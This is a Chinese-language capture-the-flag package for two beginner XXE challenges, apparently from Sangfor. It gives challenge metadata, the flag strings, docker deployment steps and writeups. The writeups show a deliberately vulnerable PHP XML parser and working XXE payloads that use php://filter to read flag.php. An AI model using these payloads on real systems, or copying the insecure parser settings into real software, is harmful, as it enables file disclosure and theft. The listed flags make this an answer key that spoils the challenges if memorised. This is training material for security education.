[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显XXE | 1 |
[题目考点]:
1. xxe有回显利用
[Flag格式]:
SangFor{jijTlGX&R4pdUEDi5tiFiL4Q2QwIuGj3}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
1、实验主页
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input'); #1
$dom = new DOMDocument();
if($xmlfile){
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); #2
$result = simplexml_import_dom($dom);
echo $result;
}
else{
show_source(__FILE__);
}
?>
关键行#1,存在file_get_contents()函数和php://input伪协议。可以通过POST传入自定义值给变量$xmlfile赋值。
关键行#2,$xmlfile变量通过loadXML函数被解析。
利用xml构造外部实体,通过POST传入,读取passwd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE everything [
<!ENTITY SangFor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]>
<everything>&SangFor;</everything>
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显XXE-02 | 1 |
[题目考点]:
1. xxe有回显利用
[Flag格式]:
SangFor{pI5aH9AikmGrjGr3d2neYlAfSpR2Avo-}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
从响应包中可以看出,邮件字段为回显字段
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY SangFor "test_"> ]> <root><name>123123qwe</name><tel>123123</tel><email>&SangFor;</email><password>123123</password></root>
4、利用xml构造外部实体,通过Burp传入,读取flag.php文件
flag.php文件存在
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY Sangfor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<root><name>111</name><tel>222</tel><email>&Sangfor;</email><password>333</password></root>